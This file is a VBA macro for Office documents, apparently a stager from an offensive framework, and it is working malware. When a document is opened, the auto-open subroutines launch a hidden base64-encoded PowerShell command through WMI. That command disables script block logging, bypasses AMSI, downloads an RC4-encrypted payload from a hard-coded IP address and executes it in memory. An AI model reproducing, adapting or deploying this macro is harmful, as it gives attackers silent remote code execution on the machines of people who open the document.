Sub Auto_Open()
        lY
End Sub

Sub AutoOpen()
        lY
End Sub

Sub Document_Open()
        lY
End Sub

Public Function lY() As Variant
        Dim UD As String
        UD = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        UD = UD + "BFAHIAcwBJAG8ATgBUAGEAYgBsAGUALgBQAFMAVgBlAFIAUwBJ"
        UD = UD + "AE8AbgAuAE0AQQBqAG8AUgAgAC0ARwBFACAAMwApAHsAJABHAF"
        UD = UD + "AARgA9AFsAUgBFAGYAXQAuAEEAcwBTAGUATQBCAEwAeQAuAEcA"
        UD = UD + "ZQB0AFQAWQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
        UD = UD + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
        UD = UD + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkAZQBgAGwAZAAiAC"
        UD = UD + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
        UD = UD + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
        UD = UD + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
        UD = UD + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAG"
        UD = UD + "EATABVAGUAKAAkAE4AdQBMAEwAKQA7AEkARgAoACQARwBQAEMA"
        UD = UD + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
        UD = UD + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
        UD = UD + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
        UD = UD + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
        UD = UD + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
        UD = UD + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
        UD = UD + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
        UD = UD + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
        UD = UD + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBMAD0AWwBDAG8AbA"
        UD = UD + "BMAEUAQwB0AEkATwBuAFMALgBHAEUATgBlAFIASQBjAC4ARABp"
        UD = UD + "AEMAVABpAG8AbgBhAHIAeQBbAHMAVABSAGkAbgBHACwAUwB5AF"
        UD = UD + "MAdABFAE0ALgBPAGIAagBFAGMAVABdAF0AOgA6AE4AZQBXACgA"
        UD = UD + "KQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUw"
        UD = UD + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
        UD = UD + "AGcAJwAsADAAKQA7ACQAdgBBAEwALgBBAEQARAAoACcARQBuAG"
        UD = UD + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
        UD = UD + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
        UD = UD + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
        UD = UD + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
        UD = UD + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
        UD = UD + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
        UD = UD + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
        UD = UD + "AD0AJABWAGEAbAB9AEUATABzAGUAewBbAFMAYwByAGkAUABUAE"
        UD = UD + "IAbABPAGMASwBdAC4AIgBHAGUAdABGAGkAZQBgAGwAZAAiACgA"
        UD = UD + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
        UD = UD + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBl"
        UD = UD + "AHQAVgBhAEwAVQBlACgAJABuAFUAbABMACwAKABOAGUAVwAtAE"
        UD = UD + "8AQgBKAGUAQwBUACAAQwBvAEwATABlAGMAVABpAG8AbgBzAC4A"
        UD = UD + "RwBlAG4ARQByAEkAYwAuAEgAQQBzAEgAUwBFAFQAWwBTAFQAUg"
        UD = UD + "BJAG4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAcwBTAEUATQBC"
        UD = UD + "AGwAeQAuAEcARQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC"
        UD = UD + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
        UD = UD + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
        UD = UD + "BfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBJAEUAbABkACgAJwBh"
        UD = UD + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
        UD = UD + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
        UD = UD + "dABWAGEATABVAEUAKAAkAG4AdQBsAEwALAAkAFQAcgB1AEUAKQ"
        UD = UD + "B9ADsAfQA7AFsAUwB5AHMAVABFAG0ALgBOAEUAdAAuAFMARQBy"
        UD = UD + "AFYASQBDAEUAUABPAGkAbgBUAE0AQQBOAEEARwBlAFIAXQA6AD"
        UD = UD + "oARQB4AHAARQBDAHQAMQAwADAAQwBPAG4AdABJAE4AVQBlAD0A"
        UD = UD + "MAA7ACQAVwBDAD0ATgBlAHcALQBPAGIASgBFAGMAVAAgAFMAWQ"
        UD = UD + "BzAHQAZQBNAC4ATgBFAHQALgBXAEUAQgBDAGwASQBFAG4AVAA7"
        UD = UD + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
        UD = UD + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
        UD = UD + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
        UD = UD + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
        UD = UD + "AHcAQwAuAEgAZQBBAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAG"
        UD = UD + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAA"
        UD = UD + "UgBPAHgAWQA9AFsAUwBZAFMAVABlAG0ALgBOAGUAVAAuAFcAZQ"
        UD = UD + "BiAFIARQBxAFUARQBzAFQAXQA6ADoARABFAEYAYQB1AEwAVABX"
        UD = UD + "AGUAQgBQAHIAbwB4AFkAOwAkAHcAQwAuAFAAcgBPAFgAeQAuAE"
        UD = UD + "MAcgBFAGQAZQBuAFQASQBBAEwAcwAgAD0AIABbAFMAWQBTAHQA"
        UD = UD + "ZQBtAC4ATgBlAHQALgBDAHIARQBEAGUATgBUAGkAYQBsAEMAYQ"
        UD = UD + "BjAGgAZQBdADoAOgBEAGUAZgBhAFUATABUAE4ARQB0AHcAbwBy"
        UD = UD + "AGsAQwByAEUARABFAG4AVABJAGEATABTADsAJABTAGMAcgBpAH"
        UD = UD + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
        UD = UD + "eQA7ACQASwA9AFsAUwBZAHMAVABFAE0ALgBUAEUAWABUAC4ARQ"
        UD = UD + "BOAGMATwBEAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
        UD = UD + "AEIAeQB0AEUAcwAoACcAdwBmACoAdQBMAD4AOQBHAGwAcwA7AE"
        UD = UD + "8AKAA2AD0ASQAtAEUAYwB+AFEAegA0AFUAdAAxAEYARABNAGgA"
        UD = UD + "WQBrACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZw"
        UD = UD + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
        UD = UD + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
        UD = UD + "sAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsA"
        UD = UD + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
        UD = UD + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
        UD = UD + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
        UD = UD + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
        UD = UD + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
        UD = UD + "A7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
        UD = UD + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
        UD = UD + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQAOAAuADEA"
        UD = UD + "OAAuADEANQA3ADoAOAAwACcAOwAkAHQAPQAnAC8AbgBlAHcAcw"
        UD = UD + "AuAHAAaABwACcAOwAkAHcAQwAuAEgARQBhAEQARQBSAFMALgBB"
        UD = UD + "AGQARAAoACIAQwBvAG8AawBpAGUAIgAsACIAcwBlAHMAcwBpAG"
        UD = UD + "8AbgA9ADYARAB3AEkAaAAwAFgAawBLAG4AdQB5ADIARwBXAGkA"
        UD = UD + "eQBiADUAbQA2AEcAQQAxAHcAdABNAD0AIgApADsAJABkAEEAdA"
        UD = UD + "BhAD0AJABXAEMALgBEAG8AdwBOAEwATwBhAGQARABBAHQAQQAo"
        UD = UD + "ACQAUwBlAHIAKwAkAFQAKQA7ACQAaQBWAD0AJABkAEEAdABBAF"
        UD = UD + "sAMAAuAC4AMwBdADsAJABkAEEAdABhAD0AJABEAGEAdABhAFsA"
        UD = UD + "NAAuAC4AJABkAGEAdABBAC4ATABlAE4AZwB0AGgAXQA7AC0Aag"
        UD = UD + "BvAGkAbgBbAEMAaABhAHIAWwBdAF0AKAAmACAAJABSACAAJABE"
        UD = UD + "AEEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA="
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create UD, Null, objConfig, intProcessID
End Function